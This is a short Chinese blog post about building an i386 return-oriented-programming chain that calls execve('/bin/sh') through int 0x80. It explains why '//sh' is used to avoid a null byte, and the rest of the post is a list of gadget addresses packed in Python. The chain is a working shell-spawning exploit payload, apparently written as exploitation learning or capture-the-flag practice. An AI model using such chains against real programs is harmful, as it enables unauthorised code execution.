美文网首页
x86 sys_execve syscall实现

x86 sys_execve syscall实现

作者: clive0x | 来源:发表于2019-02-15 00:08 被阅读0次

 实现代码如下,有个地方有些迷惑,

  p += '//sh' arch为i386平台,主要是执行execv('/bin/sh',0,0) syscall,'//sh'刚开始没搞清楚为啥这么写,后面gdb才发现i386按四字节寻址,如果写与'/sh',内存内容:0x0068732f,'/bin/sh'会断成'/bin\0/sh',中间有00字符,肯定不能执行。

 p += pack('<I', 0x0806eb6a) # pop edx ; ret

    p += pack('<I', 0x080ea060) # @ .data

    p += pack('<I', 0x080bb196) # pop eax ; ret

    p += '/bin'

    p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret

    p += pack('<I', 0x0806eb6a) # pop edx ; ret

    p += pack('<I', 0x080ea064) # @ .data + 4

    p += pack('<I', 0x080bb196) # pop eax ; ret

    p += '//sh'

    p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret

    p += pack('<I', 0x0806eb6a) # pop edx ; ret

    p += pack('<I', 0x080ea068) # @ .data + 8

    p += pack('<I', 0x08054590) # xor eax, eax ; ret

    p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret

    p += pack('<I', 0x080481c9) # pop ebx ; ret

    p += pack('<I', 0x080ea060) # @ .data

    p += pack('<I', 0x0806eb91) # pop ecx ; pop ebx ; ret

    p += pack('<I', 0x080ea068) # @ .data + 8

    p += pack('<I', 0x080ea060) # padding without overwrite ebx

    p += pack('<I', 0x0806eb6a) # pop edx ; ret

    p += pack('<I', 0x080ea068) # @ .data + 8

    p += pack('<I', 0x08054590) # xor eax, eax ; ret

    p += pack('<I', 0x0807b5bf) # inc eax ; ret

    p += pack('<I', 0x0807b5bf) # inc eax ; ret

    p += pack('<I', 0x0807b5bf) # inc eax ; ret

    p += pack('<I', 0x0807b5bf) # inc eax ; ret

    p += pack('<I', 0x0807b5bf) # inc eax ; ret

    p += pack('<I', 0x0807b5bf) # inc eax ; ret

    p += pack('<I', 0x0807b5bf) # inc eax ; ret

    p += pack('<I', 0x0807b5bf) # inc eax ; ret

    p += pack('<I', 0x0807b5bf) # inc eax ; ret

    p += pack('<I', 0x0807b5bf) # inc eax ; ret

    p += pack('<I', 0x0807b5bf) # inc eax ; ret

    p += pack('<I', 0x08049421) # int 0x80

相关文章

网友评论

      本文标题:x86 sys_execve syscall实现

      本文链接:https://www.haomeiwen.com/subject/gtyueqtx.html